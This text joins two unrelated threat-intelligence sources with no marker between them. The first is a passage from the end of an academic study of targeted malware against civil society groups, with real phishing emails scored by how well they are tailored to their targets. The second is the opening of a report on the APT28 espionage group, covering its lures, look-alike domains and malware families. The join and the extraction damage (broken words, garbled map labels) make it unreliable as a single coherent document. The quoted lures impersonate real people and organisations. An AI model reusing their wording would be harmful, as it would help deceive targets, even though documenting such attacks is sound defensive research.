Hutchins, Cloppert and Amin, [24] use a kill chain model to track targeted at- tack campaigns and inform defensive strategies.
Metrics have been developed to characterize security vulnerabilities and their severity [7, 41, 50].
The indus- try standard is the Common Vulnerability Scoring Sys- tem (CVSS) [17], which uses three metric groups for characterizing vulnerabilities and their impacts.
These groups are: base metric group (the intrinsic and fun- damental characteristics of a vulnerability that are con- stant over time and user environments), temporal metric group (characteristics of a vulnerability that change over time but not among user environments) and environmen- tal metric group (characteristics of a vulnerability that are relevant and unique to a particular users environ- ment).
The CVSS is a widely adopted metric, but only rates technical vulnerabilities.
Targeted attacks rely on a user action of opening a malicious attachment or visiting a malicious link to successfully compromise a system.
Therefore, the sophistication of message lures and other social engineering tactics are an important part of deter- mining the severity of a targeted attack.
Systems like the CVSS cannot address this contextual component.
Our study makes the following contributions to the literature.
Previous studies of targeted attacks against CSOs usually focus on particular incidents or campaigns and do not include longitudinal observations of attacks against a range of CSO targets.
While standards exist for rating the sophistication of technical vulnerabilities and research has been done on detecting targeted mal- ware attacks and modeling campaigns, there is no scor- ing system that considers both the sophistication of mal- ware and social engineering tactics used in targeted mal- ware attacks.
We address this gap through development of the TTI and validate the metric against four years of data collected from 10 CSOs.
7 Conclusions Our study provides an in-depth look at targeted malware threats faced by CSOs.
We find that considering the technical sophistication of these threats alone is insuf- ficient and that educating users about social engineer- ing tactics used by adversaries can be a powerful tool for improving the security of these organizations.
Our results point to simple steps groups can take to protect themselves from document-based targeted malware such as shifting to cloud-based document platforms instead of relying on attachments which can contain exploits.
Further research is needed to measure the effectiveness of education strategies for changing user behaviour and how effective these efforts are in mitigation of document- based malware for CSOs.
Further work is also required in monitoring how attackers adapt tactics in response to observed behavioural changes in targeted communities.
In ongoing work we are continuing our collection of e- mails and NIDS alerts as well as monitoring other attacks against these groups (e.g., waterhole attacks and DoS at- tacks) to understand how threats vary based on their de- livery mechanism.
We are also working to extend our methodology to more diverse CSO communities such as those in Latin America, Africa, and other underreported regions to better document the politically motivated dig- ital threats they may be experiencing.
Acknowlegements This work was supported by the John D. and Catherine T. MacArthur Foundation.
We are grateful to Jakub Dalek, Sarah McKune, and Justin Wong for research assistance.
We thank the USENIX Security reviewers and our shep- herd Prof. J. Alex Halderman for helpful comments and guidance.
We are especially grateful to the groups who participated in our study.
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From: world fdc fdc2008parisgmail.com To: [Tibet Group 1] Subject: Invitation Please reply 1 Attachment: invitation.doc Figure 6: Example of e-mail with Targeting Score 1 From: ciran nima nimacirangmail.com To: [Tibet Group 1] Date: 18 Aug 2011 Subject: Truth of monk dies after setting himself on fire Truth of monk dies after setting himself on fire 1 Attachment: Truth of monk dies after setting himself on fire.doc Figure 7: Example of e-mail with Targeting Score 2 Notes 1 We report on results from other collection sources (e.g.
NIDS alerts, website monitoring, and interviews), and cluster anal- ysis of campaigns in a forthcoming technical report available at https://citizenlab/targeted-threats Appendix A Examples of targeted e-mails In this section, we provide specific examples of e-mails that would be assigned targeting scores described in Sec- tion 4.2.2.
Targeting Score 1 (Targeted Not customized).
The e- mail in Figure 6 was sent to Tibet group 1.
The message content and sender are vague and do not relate to the in- terest of the group.
The attachment is a word document implanted with malware.
The lack of relevant informa- tion in this message gives it a score of 1 (targeted, not customized).
Targeting Score 2 (Targeted, Poorly Customized).
The e-mail in Figure 7 was sent to Tibet group 1.
It refer- ences Tibetan self-immolations which is an issue of inter- est to the group.
However, the sender does not appear to be from a real person or organization.
The message con- tent is terse and does not referenced information that can be externally validated.
Therefore this message scores a 2 (targeted, poorly customized).
14 USENIX Association  23rd USENIX Security Symposium 541 From: Palden Sangpo palden.sangpotibetancareers.org Subject: Activity Report from Tibetan Career Centre, Bylakuppe Date: 24 Jan 2013 To: [Tibet Group 2] Dear Sir/Madam, Tashi Delek.
Please find the attachment of the activity report of Tibetan Career Centre, Bylakuppe with this mail.
As I was asked to send this activity report to your office.
Thank you.
Regards, Palden Sangpo, Consultant.
Tibetan Career Centre, Old Guest House, Lugsam Tibetan Settlement Office, PO Bylakuppe, Mysore District, Karnataka State - 571 104 E-mail: palden.sangpotibetancareers.org, MO 91 9901407808, Off 91 8971551644 www.tibet.jobeestan.com 1 Attachment: Report to CTA home.doc Figure 8: Example of e-mail with Targeting Score 3 Targeting Score 3 (Targeted Customized).
The e- mail in Figure 8 was sent to Tibet group 2.
On the sur- face it appears to be a professional e-mail from Palden Sangpo a consultant at the Tibet Career Centre.
The e-mail sender address and signature reference accurate contact details that can be easily verified through an In- ternet search.
However, the e-mail headers reveal the purported e-mail sender address is fraudulent and the actual sender was albano_kuqogmx.com.
The e-mail generally addresses the organization rather than the indi- vidual recipient.
Therefore this message scores a 3 (tar- geted, customized).
Targeting Score 4 (Targeted Personalized).
The e- mail in Figure 9 was sent to Tibet group 1.
It is directly addressed to the director of the group and appears to come from Mr. Cheng Li, a prominent China scholar based at the Brookings Institute.
The e-mail address is made to appear to be from Mr. Cheng Li, but from an AOL account (chengli.brookingsaol.com) that was registered by the attackers.
The message asks the recip- ient for information on recent Tibetan self-immolations.
The level of customization and personalization used in From: Cheng Li chengli.brookingsaol.com Subject:Happy Tib Losar and Ask You a Favour 23 Feb 2012 To: [Tibet Group 1] Dear [Redacted] I am Cheng Li from John L. Thornton China Center of Brookings.
I will attend an annual meeting on Religious Research with CIIS in Shanghai next week, and plan to take the chance to visit Tibet.
Attached is a list of tibetans who have self-immolated from 2009 which my assistant prepared for me, but i am not sure of its accuracy.
Would you please have a look and make necessary corrections.
I will be really much appreciated if you could do me the favor and offer some more information about the latest happenings inside tibet.
Thank you again and happy Tib losar Cheng Li Director of Research, John L. Thornton China Center Brookings Institution 1 Attachment: list_of_self_immolations.
xls Figure 9: Example of e-mail with Targeting Score 4 this message gives it a score of 4 (targeted, personalized).
Targeting Score 5 (Targeted Highly Personalized).
Targeting scores of 5 (targeted, highly personalized) re- quire reference to internal information to the target orga- nization that could not be obtained through open sources.
Examples of messages scoring at this level include an e-mail that purported to come from a funder of China Group 3 that provided details of an upcoming meeting the group actually had scheduled with the funder.
In another example, Tibet Group 2 and Tibet Group 3 re- ceived separate e-mails that contained specific personal details about a South African groups visit to Dharam- sala, India that appear to have been repurposed from a real private communication.
The malicious attachment contained an authentic travel itinerary, which would be displayed after the user opened the document.
The pri- vate information used in these messages suggest that the attackers performed significant reconnaissance of these groups and likely obtained the information through prior compromise.
15
APT28: A WINDOW INTO RUSSIAS CYBER ESPIONAGE OPERATIONS?
SPECIAL REPORT SECURITY REIMAGINED 2  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
EXECUTIVE SUMMARY ................................................................................................................................................................................................................................................................................... 3 APT28 TARGETING REFLECTS RUSSIAN INTERESTS ........................................................................................................................................................................ 6 APT28 interest in the Caucasus, Particularly Georgia ........................................................................................................................................................... 7 APT28 Targeting of the Georgian Ministry of Internal Affairs (MIA) ....................................................................................... 8 APT28 Targeting of the Georgian Ministry of Defense ....................................................................................................................................... 9 APT28 Targeting a Journalist Covering the Caucasus ...................................................................................................................................... 10 APT28s Other Targets in the Caucasus ....................................................................................................................................................................................... 11 APT28 Targeting of Eastern European Governments and Militaries ................................................................................................... 12 APT28 Targeting of NATO and Other European Security Organizations .................................................................................... 14 APT28 Targets European Defense Exhibitions ............................................................................................................................................................... 16 Other APT28 Targets Are Consistent With Nation State Interests ........................................................................................................ 17 APT28 MALWARE INDICATES SKILLED RUSSIAN DEVELOPERS ........................................................................................................................ 19 Modular Implants Indicate a Formal Development Environment............................................................................................................... 24 APT28 Malware Indicates Russian Speakers in a Russian Time Zone ................................................................................................ 25 Compile Times Align with Working Hours in Moscow and St. Petersburg ............................................................... 27 CONCLUSION ................................................................................................................................................................................................................................................................................................................. 28 APPENDIX A: DISTINGUISHING THREAT GROUPS ......................................................................................................................................................................... 29 APPENDIX B: TIMELINE OF APT28 LURES ......................................................................................................................................................................................................... 30 APPENDIX C: SOURFACE/CORESHELL ..................................................................................................................................................................................................................... 31 APPENDIX D: CHOPSTICK ................................................................................................................................................................................................................................................................... 35 APPENDIX E: OLDBAIT ................................................................................................................................................................................................................................................................................ 43 CONTENTS 3  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
1 Markoff, John.
Before the Gunfire, Cyberattacks.
The New York Times 12 August 2008.
Web.
http://www.nytimes.com/2008/08/13/technology/13cyber.html 2 Knowlton, Brian.
Military Computer Attack Confirmed.
The New York Times.
25 August 2010.
Web.
http://www.nytimes.com/2010/08/26/ technology/26cyber.html EXECUTIVE SUMMARY In this paper we discuss a threat group whose malware is already fairly well-known in the cybersecurity community.
This group, unlike the China-based threat actors we track, does not appear to conduct widespread intellectual property theft for economic gain.
Nor have we observed the group steal and profit from financial account information.
The activity that we profile in this paper appears to be the work of a skilled team of developers and operators collecting intelligence on defense and geopolitical issues  intelligence that would only be useful to a government.
We believe that this is an advanced persistent threat (APT) group engaged in espionage against political and military targets including the country of Georgia, Eastern European governments and militaries, and European security organizations since at least 2007.
They compile malware samples with Russian language settings during working hours consistent with the time zone of Russias major cities, including Moscow and St. Petersburg.
While we dont have pictures of a building, personas to reveal, or a government agency to name, what we do have is evidence of long- standing, focused operations that indicate a government sponsor  specifically, a government based in Moscow.
We are tracking this group as APT28.
Our clients often ask us to assess the threat Russia poses in cyberspace.
Russia has long been a whispered frontrunner among capable nations for performing sophisticated network operations.
This perception is due in part to the Russian governments alleged involvement in the cyber attacks accompanying its invasion of Georgia in 2008,  as well as the rampant speculation that Moscow was behind a major U.S. Department of Defense network compromise, also in 2008.
These rumored activities, combined with a dearth of hard evidence, have made Russia into something of a phantom in cyberspace.
4  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
KEY FINDINGS GEORGIA EASTERN EUROPE SECURITY ORGANIZATIONS APT28 likely seeks to collect intelligence about Georgias security and political dynamics by targeting officials working for the Ministry of Internal Affairs and the Ministry of Defense.
APT28 has demonstrated interest in Eastern European governments and security organizations.
These victims would provide the Russian government with an ability to predict policymaker intentions and gauge its ability to influence public opinion.
APT28 appeared to target individuals affiliated with European security organizations and global multilateral institutions.
The Russian government has long cited European security organizations like NATO and the OSCE as existential threats, particularly during periods of increased tension in Europe.
APT28 targets insider information related to governments, militaries, and security organizations that would likely benefit the Russian government.
5  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
KEY FINDINGS Malware compile times suggest that APT28 developers have consistently updated their tools over the last seven years.
APT28 malware, in particular the family of modular backdoors that we call CHOPSTICK, indicates a formal code development environment.
Such an environment would almost certainly be required to track and define the various modules that can be included in the backdoor at compile time.
APT28 tailors implants for specific victim environments.
They steal data by configuring their implants to send data out of the network using a victim networks mail server.
Several of APT28s malware samples contain counter- analysis capabilities including runtime checks to identify an analysis environment, obfuscated strings unpacked at runtime, and the inclusion of unused machine instructions to slow analysis.
Indicators in APT28s malware suggest that the group consists of Russian speakers operating during business hours in Russias major cities.
More than half of the malware samples with Portable Executable (PE) resources that we have attributed to APT28 included Russian language settings (as opposed to neutral or English settings), suggesting that a significant portion of APT28 malware was compiled in a Russian language build environment consistently over the course of six years (2007 to 2013).
Over 96 of the malware samples we have attributed to APT28 were compiled between Monday and Friday.
More than 89 were compiled between 8AM and 6PM in the UTC4 time zone, which parallels the working hours in Moscow and St. Petersburg.
These samples had compile dates ranging from mid-2007 to September 2014.
Since 2007, APT28 has systematically evolved its malware, using flexible and lasting platforms indicative of plans for long-term use.
The coding practices evident in the groups malware suggest both a high level of skill and an interest in complicating reverse engineering efforts.
Malware compile times suggest that APT28 developers have consistently updated their tools over the last seven years.
6  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Three themes in APT28s targeting clearly reflect areas of specific interest to an Eastern European government, most likely the Russian government.
7 Bloomberg.
Neiman Marcus Hackers Set Off 60,000 Alerts While Bagging Credit Card Data.
February 2014.
8 Ibid.
9 Ibid.
APT28 TARGETING REFLECTS M any of APT28s targets align generally with interests that are typical of any government.
However, three themes in APT28s targeting clearly reflects areas of specific interest to an Eastern European government, most likely the Russian government.
These include the Caucasus (especially the Georgian government), Eastern European governments and militaries, and specific security organizations.
APT28 uses spearphishing emails to target its victims, a common tactic in which the threat group crafts its emails to mention specific topics (lures) relevant to recipients.
This increases the likelihood that recipients will believe that the email is legitimate and will be interested in opening the message, opening any attached files, or clicking on a link in the body of the email.
Since spearphishing lures are tailored to the recipients whose accounts APT28 hopes to breach, the subjects of the lures provide clues as to APT28s targets and interests.
For example, if the groups lures repeatedly refer to the Caucasus, then this most likely indicates that APT28 is trying to gain access to the accounts of individuals whose work pertains to the Caucasus.
Similarly, APT28s practice of registering domains that mimic those of legitimate news, politics, or other websites indicates topics that are relevant to APT28s targets.
We identified three themes in APT28s lures and registered domains, which together are particularly relevant to the Russian government.
In addition to these themes, we have seen APT28 target a range of political and military organizations.
We assess that the work of these organizations serves nation state governments.
RUSSIAN INTERESTS The Caucasus, particularly the country of Georgia Eastern European governments and militaries The North Atlantic Treaty Organization (NATO) and other European security organizations APT 28: Three Themes 7  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
T he Caucasus, a region that includes Chechnya and other Russian republics and the independent states of Georgia, Armenia, and Azerbaijan, continues to experience political unrest.
The Georgian governments posture and ties to the West are a frequent source of Moscows frustration, particularly after the 2008 war.
Overall, issues in the Caucasus likely serve as focal points for Russian intelligence collection efforts.
APT28 INTEREST IN THE CAUCASUS, PARTICULARLY GEORGIA Since 2011, APT28 has used lures written in Georgian that are probably intended to target Georgian government agencies or citizens.
APT28 is likely seeking information on Georgias security and diplomatic postures.
Specifically, the group has targeted the Georgian Ministry of Internal Affairs (MIA) and the Ministry of Defense (MOD).
We also observed efforts to target a journalist working on issues in the Caucasus and a controversial Chechen news site.
RUSSIA Chechnya GEORGIA Abkhazia TURKEY ARMENIA AZERBAIJAN Tbilisi Armenian Military Yerevan Kavkaz Center 8  fireeye.com APT28 Targeting of the Georgian Ministry of Internal Affairs (MIA) The MIA harbors sensitive information about the inner workings of Georgias security operations, the countrys engagement in multilateral institutions, and the governments communications backbone.
It is responsible for3: Policing, internal security, and border patrols Counterintelligence Counterterrorism International relations Defense of Georgias strategic facilities and assets Operative-Technical tasks APT28 made at least two specific attempts to target the MIA.
In one case, we identified an APT28 lure from mid-2013 that referenced MIA-related topics and employed malware that attempted to disguise its activity as legitimate MIA email traffic.
The lure consisted of a weaponized Excel file that presented a decoy document containing a list of Georgian drivers 3 Georgian Ministry of Internal Affairs website http://police.ge/en/home 4 Queries on the author yielded a LinkedIn page for a person of the same name who serves as a system administrator in Tbilisi.
license numbers.
The backdoor attempted to establish a connection to a Georgian MIA mail server and communicate via MIA email addresses ending with mia.ge.gov.
Once connected to the mail server, APT28s backdoor sent an email message using a subject line related to drivers licenses (in Georgian), and attached a file containing system reconnaissance information.
This tactic could allow APT28 to obtain data from the MIAs network through a less-monitored route, limiting the MIA network security departments abilities to detect the traffic.
In the second example of MIA targeting, an APT28 lure used an information technology-themed decoy document that included references to the Windows domain MIA Users\Ortachala (Figure 1).
This probably referred to the MIA facility in the Ortachala district of Tbilisi, Georgias capital city.
The decoy document also contains metadata listing MIA as the company name and Beka Nozadze4 as an author, a possible reference to a system administrator in Tbilisi.
The text of the document purports to provide domain and user group setup APT28 made at least two specific attempts to target the Georgian Ministry of Internal Affairs.
Georgian Ministry of Internal Affairs (MIA) APT 28: A Window into Russias Cyber Espionage Operations?
9  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Figure 1: Georgian MIA-related decoy information for internal Windows XP and Windows 7 systems.
APT28 possibly crafted this document to appear legitimate to all MIA system users and intended to breach the MIA network specifically using the embedded malware.
APT28 Targeting of the Georgian Ministry of Defense APT28 also appeared to target Georgias MOD along with a U.S. defense contractor that was training the Georgian military.
APT28 used a lure document that installed a SOURFACE downloader (further discussed in the Malware section) and contained a listing of birthdays for members of a working group between the Georgian MOD and the U.S. defense contractor.
The U.S. contractor was involved in a working group to advise the MOD and Georgian Armed Forces, assess Georgias military capabilities, and develop a military training program for the country.
10  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Figure 2: Excerpt of APT28s letter to a journalist writing on Caucasus-related issues We believe that APT28s targeting of the MOD aligns with Russian threat perceptions.
The growing U.S.-Georgian military relationship has been a source of angst for Russia.
Georgia and Russia severed diplomatic relations following the Russia-Georgia War in 2008, and Georgia has since sought to align itself more closely with western security organizations.
Additionally, in June 2014, despite Russias vocal objections, Georgia, along with Ukraine and Moldova, signed association accords with the EU.5  This move placed all three countries more firmly in the EUs political, economic, and security spheres of influence.
Georgian military security issues, particularly with regard to U.S. cooperation and NATO, provide a strong incentive for Russian state-sponsored threat actors to steal information that sheds light on these topics.
APT28 Targeting a Journalist Covering the Caucasus Another one of APT28s lures appeared to target a specific journalist covering issues in the Caucasus region.
In late 2013, APT28 used a lure that contained a letter addressing a journalist by his first name and claiming to originate from a Chief Coordinator in Reason Magazines Caucasian Issues Department - a division that does not appear to exist.6 (Reason Magazine is a US-based magazine) The letter welcomed the individual as a contributor and requested topic ideas and identification information in order to establish him at the magazine.
In the background, the decoy document installed a SOURFACE backdoor on the victims system.
We wish our cooperation will be both profitable and trusted.
Our aim in the Caucasian region is to help people who struggle for their independence, liberty and human rights.
We all know, that world is often unfair and cruel, but all together we can make it better.
Send your articles on this email  in Russian or English, please.
There are some difficulties with Caucasian languages, but well solve the problem pretty soon, I hope.
5  The EUs Association Agreements with Georgia, the Republic of Moldova and Ukraine.
European Union Press Release Database.
23 June 2014.
Web.
http://e uropa.eu/rapid/press-release_MEMO-14-430_en.htm 6 We attempted to identify candidate journalists in the country.
One of these was a Georgian national of Chechen descent, whose work appears to center on Chechen and human rights issues.
Ultimately, however, we cannot confirm the identity of the target(s).
Targeting journalists could provide APT28 and its sponsors with a way to monitor public opinion, identify dissidents, spread disinformation, or facilitate further targeting.
11  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
The body of the letter suggests that APT28 actors are able to read at least two languages  Russian and English.
The grammar of the letter also indicates that English is not the authors first language, despite it purportedly originating from a US-based magazine.
This implies that Russian may be the APT28 authors preferred language.
Targeting journalists could provide APT28 and its sponsors with a way to monitor public opinion, identify dissidents, spread disinformation, or facilitate further targeting.
Several other nation states are suspected of targeting journalists and dissidents to monitor their activity, including China and Iran.7,8 Journalists in the Caucasus working on Caucasus independence issues would be a prime target for intelligence collection for Moscow.
Journalists critical of the Kremlin have long been targets of surveillance and harassment, and a number of governments and human rights organizations have publicly criticized the government for its treatment of journalists and its increasing consolidation of control over the media.9 APT28s Other Targets in the Caucasus We have seen APT28 register at least two domains mimicking the domains of legitimate organizations in the Caucasus, as shown in the table below.
One APT28 domain imitated a key Chechen-focused news website, while the other appeared to target members of the Armenian military by hosting a fake login page.
Of particular note, the Kavkaz Center is a Chechen-run website designed to present an alternative view to the long-running conflict between Russia and Chechen separatists.
In 200410  and 2013,11  Russias Foreign Minister voiced his displeasure that a Swedish company continues to host the Kavkaz Center website.
7 Moran, Ned, Villeneuve, Nart, Haq, Thofique, and Scott, Mike.
Operation Saffron Rose.
FireEye.
13 May 2014.
Web.
http://www.fireeye.com/blog/technical/ malware-research/2014/05/operation-saffron-rose.html 8 The New York Times publicly disclosed their breach by APT12, which they assess was motivated by the China-based actors need to know what the newspaper was publishing about a controversial topic related to corruption and the Chinese Communist Partys leadership.
9 Russia.
Freedom House Press Release.
2013.
Web.
http://www.freedomhouse.org/report/freedom-press/2013/russia.VD8fe9R4rew 10Chechen website promotes terror: Lavrov.
UPI.
16 November 2014.
Web.
http://www.upi.com/Top_News/2004/11/16/Chechen-website-promotes- terror-Lavrov/UPI-11601100627922/ 11Lavrov urges Sweden to ban Chechen website server The Voice of Russia.
15 May 2013.
Web.
http://voiceofrussia.com/news/2013_05_15/Lavrov-urges- Sweden-to-ban-Chechen-website-server/ Table 1: Examples of APT28 domains imitating organizations in the Caucasus APT28 Domain Real Domain kavkazcentr[.
]info The Kavkaz Center / The Caucasus Center, an international Islamic news agency with coverage of Islamic issues, particularly Russia and Chechnya (kavkazcenter.com) rnil[.
]am Armenian military (mil.am) 12  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
E astern European countries political and military postures are traditionally core Russian government interests.
The Kremlin has long regarded the former Soviet Republics and satellite states as in its sphere of economic, political, and military interest.
Over the past two decades, as many of these states joined NATO and the EU, Russia has attempted to regain its influence in the region.
Many of APT28s targets parallel this continued focus on Eastern European governments and militaries.
APT28 Targets Eastern European Government Organizations We have evidence that APT28 made at least two attempts to compromise Eastern European government organizations: In a late 2013 incident, a FireEye device deployed at an Eastern European Ministry of Foreign Affairs detected APT28 malware in the clients network.
More recently, in August 2014 APT28 used a lure (Figure 3) about hostilities surrounding a Malaysia Airlines flight downed in Ukraine in a probable attempt to compromise the Polish government.
A SOURFACE sample employed in the same Malaysia Airlines lure was referenced by a Polish computer security company in a blog post.12 The Polish security company indicated that the sample was sent to the government, presumably the Polish government, given the companys location and visibility.
12 MHT, MS12-27 Oraz malware.info MalwarePrevenity.
11 August 2014.
Web.
http://malware.prevenity.com/2014/08/malware-info.html Figure 3: Decoy MH17 document probably sent to the Polish government APT28 TARGETING OF EASTERN EUROPEAN GOVERNMENTS AND MILITARIES 13  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
APT28 has registered domains similar to those of legitimate Eastern European news sites and governments, listed in Table 2.
These domain registrations not only suggest that APT28 is interested in Eastern European political affairs, but also that the group targets Eastern European governments directly.
In addition, APT28 used one domain for command and control sessions (baltichost[.
]org) that was themed after the Baltic Host exercises.
Baltic Host is a multinational logistics planning exercise, hosted annually since 2009 by one of the three Baltic States (Estonia, Latvia, and Lithuania, all three of which are on Russias border) on a rotational basis.
In June 2014, this event was integrated with a larger U.S. Army training event, and focused on exercises to improve interoperability with regional allies and partners.13, 14 This domain registration suggests that APT28 sought to target individuals either participating in the exercises or interested in Baltic military and security matters.
Such targets would potentially provide APT28 with sensitive tactical and strategic intelligence concerning regional military capabilities and relationships.
These exercises are a particular point of interest in Moscow: pro- Kremlin press cited Russias interpretation of these military exercises and NATOs involvement as a sign of aggression, and Russias Foreign Minister publicly stated that the exercise was a demonstration of hostile intention.15 Table 2:  Examples of APT28 domains imitating legitimate Eastern European organization names APT28 Domain Real Domain standartnevvs[.
]com Bulgarian Standart News website (standartnews.com) novinitie[.
]com, n0vinite[.
]com Bulgarian Sofia News Agency website (novinite.com) qov[.]hu[.
]com Hungarian government domain (gov.hu) q0v[.
]pl, mail[.]q0v[.
]pl Polish government domain (gov.pl) and mail server domain (mail.gov.pl) poczta.mon[.]q0v[.
]pl Polish Ministry of Defense mail server domain (poczta.mon.gov.pl) 13 Saber Strike and Baltic Host kick off in Latvia, Lithuania and Estonia.
Estonian Defense Forces.
9 June 2014.
Web.
11 June 2014.
http://www.mil.ee/en/ news/8251/saber-strike-and-baltic-host-kick-off-in-latvia,-lithuania-and-estonia 14 Baltic Host 2014 rendering host nation support for the training audience of Exercise Saber Strike 2014 and repelling faked cyber-attacks.
Republic of Lithuania Ministry of National Defense.
12 June 2014.
Web.
http://www.kam.lt/en/news_1098/current_issues/baltic_host_2014_rendering_host_nation_ support_for_the_training_audience_of_exercise_saber_strike_2014_and_repelling_faked_cyber-attacks.html 15 Tanks, troops, jets: NATO countries launch full-scale war games in Baltic.
Russia Today.
9 June 2014.
Web.
http://rt.com/news/164772-saber-strike- exercise-nato/ We have evidence that APT28 made at least two attempts to compromise Eastern European government organizations.
14  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
A PT28s lures and domain registrations also demonstrate their interest in NATO and other European security organizations.
NATO remains a chief Russian adversary, or in the words of Russias 2010 military doctrine, a main external military danger particularly as it moves closer to the borders of the Russian Federation.16 As the traditional western counterweight to the Soviet Union, Russia regards NATO, particularly NATOs eastward expansion, as a threat to Russias strategic stability.
APT28 also registered a domain name imitating the Organization for Security and Cooperation in Europe (OSCE), an intergovernmental organization that has cited widespread fraud in numerous Russian state elections.
Insider information about NATO, the OSCE and other security organizations would inform Russian political and military policy.
Several of the domains APT28 registered imitated NATO domain names, including those of NATO Special Operations Headquarters and the NATO Future Forces Exhibition.
We also observed a user that we suspect works for NATO HQ submit an APT28 sample to VirusTotal, probably as a result of receiving a suspicious email.
Table 3: Examples of APT28 domains imitating legitimate NATO and security websites APT28 Domain Real Domain nato.nshq[.
]in NATO Special Operations Headquarters (nshq.nato.int) natoexhibitionff14[.
]com NATO Future Forces 2014 Exhibition  Conference (natoexhibition.org) login-osce[.
]org Organization for Security and Cooperation in Europe (osce.org) 16 The Military Doctrine of the Russian Federation, approved by Presidential edict on 5 February 2010.
APT28 TARGETING OF NATO AND OTHER EUROPEAN SECURITY ORGANIZATIONS 15  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
Figure 5: Ankara Military Attache Corps decoy document APT28 also demonstrated an interest in defense attaches working in European countries.
We identified an APT28 lure containing a decoy document with a list of British officers and U.S. and Canadian military attachs in London.
Finally, APT28 used a lure that contained an apparent non-public listing of contact information for defense attachs in the Ankara Military Attach Corps (AMAC), which appears to be a professional organization of defense attachs in Turkey.
Figure 4: Decoy document used against military attaches in 2012 16  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
APT28 Targets European Defense Exhibitions In addition to targeting European security organizations and governments, it appears that APT28 is targeting attendees of European defense exhibitions.
Some of the APT28- registered domains imitated those of defense events held in Europe, such as the Farnborough Airshow 2014, EuroNaval 2014, EUROSATORY 2014, and the Counter Terror Expo.
In September 2014, APT28 registered a domain (smigroup- online.co[.
]uk) that appeared to mimic that for the SMi Group, a company that plans events for the Defence, Security, Energy, Utilities, Finance and Pharmaceutical sectors.
Among other events, the SMi Group is currently planning a military satellite communications event for November 2014.
Targeting organizations and professionals involved in these defense events would likely provide APT28 with an opportunity to procure intelligence pertaining to new defense technologies, as well as the victim organizations operations, communications, and future plans.
Targeting organizations and professionals involved in these defense events would likely provide APT28 with an opportunity to procure intelligence pertaining to new defense technologies.
17  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
A PT28 has targeted a variety of organizations that fall outside of the three themes we highlighted above.
However, we are not profiling all of APT28s targets with the same detail because they are not particularly indicative of a specific sponsors interests.
They do indicate parallel areas of interest to many governments and do not run counter to Russian state interests.
Other probable APT28 targets that we have identified: Norwegian Army (Forsvaret) Government of Mexico Chilean Military Pakistani Navy U.S. Defense Contractors European Embassy in Iraq Special Operations Forces Exhibition (SOFEX) in Jordan Defense Attaches in East Asia Asia-Pacific Economic Cooperation (APEC) Al-Wayi News Site OTHER APT28 TARGETS ARE CONSISTENT WITH NATION STATE INTERESTS INTERNATIONAL ORGANIZATION European Commission UN Office for the Coordination of Humanitarian Affairs APEC NATO OSCE World Bank OTHER Hizb ut-Tahir Chechnya Global Diplomatic Forum Military Trade Shows KEY APT28 Registered Domains Lure Document Phishing Email APT 28: A Window into Russias Cyber Espionage Operations?
18  fireeye.com KEY APT28 Registered Domains Lure Document Phishing Email US DEFENSE ATTACHES AND US DEFENSE CONTRACTORS MEXICAN GOVERNMENT CANADIAN DEFENSE ATTACHES CHILE AN M ILI TA RY SO U TH A FR IC AN D IR C O (M FA ) U G AN D AN N G O BULG ARIAN NEW S W EBSITES DEFENSE ATTACHES IN TURKEY AFGHANI NEW S W EBSITE PAKASTANI MILITARY IRANIAN ACADEMICS EUROPEAN EMBASSY IN IRAQ EMIRATI NEWS WEBSITE DEFENSE ATTACHES IN CHINA DEFENSE ATTACHES IN SOUTH KOREA DEFENSE ATTACHES IN JAPAN H U N G ARIAN G O VERN M EN T CYPRIOT NEWS ARTICLE GEORGIAN GOVERNMENT ARMENIAN M ILI TA RY UZ BE KI M FA KA VK AZ C EN TE R PO LI SH G O VE RN M EN T C RO AT IA N U N IV ER SI TYUK DEFENSE ATTACHES NO RW EG IAN M ILITARY 19  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
APT28 MALWARE INDICATES SKILLED RUSSIAN DEVELOPERS A PT28s tools are suggestive of the groups skills, ambitions, and identity.
Our analysis of some of the groups more commonly used tools indicates that APT28 has been systematically updating their tools since 2007.
APT28 is most likely supported by a group of developers creating tools intended for long-term use and versatility, who make an effort to obfuscate their activity.
This suggests that APT28 receives direct ongoing financial and other resources from a well-established organization, most likely a nation state government.
APT28s malware settings suggest that the developers have done the majority of their work in a Russian language build environment during Russian business hours, which suggests that the Russian government is APT28s sponsor.
Some of APT28s more commonly used tools are the SOURFACE downloader, its second stage backdoor EVILTOSS, and a modular family of implants that we call CHOPSTICK.
SOURFACE: This downloader is typically called Sofacy within the cyber security community.
However because we have observed the name Sofacy used to refer to APT28 malware generally (to include the SOURFACE dropper, EVILTOSS, CHOPSTICK, and the credential harvester OLDBAIT), we are using the name SOURFACE to precisely refer to a specific downloader.
This downloader obtains a second-stage backdoor from a C2 server.
CORESHELL is an updated version of SOURFACE.
EVILTOSS: This backdoor has been delivered through the SOURFACE downloader to gain system access for reconnaissance, monitoring, credential theft, and shellcode execution.
CHOPSTICK: This is a modular implant compiled from a software framework that provides tailored functionality and flexibility.
Our analysis of some of the groups more commonly used tools indicates that APT28 has been systematically updating their malware since 2007.
20  fireeye.com APT 28: A Window into Russias Cyber Espionage Operations?
A number of the malware variants that we profile below, especially the CHOPSTICK family, demonstrate formal coding practices indicative of methodical, diligent programmers.
The modularity of CHOPSTICK alone, with its flexible and lasting platform, demonstrates planning for long-term use and versatility.
We have also noted that APT28 tailors implants to their target environments, configuring them to use local network resources such as email servers.
APT28 has attempted to obfuscate their code and implement counter-analysis techniques: Figure 6: Typical deployment of SOURFACE ecosystem Spearphishing Email Document with exploit Dropper malware SOURFACE downloader Deploys 2nd stage droppers 2nd stage implant Obtains 2nd  stage C2 Server One of the latest samples of CORESHELL includes counter-reverse engineering tactics via unused machine instructions.
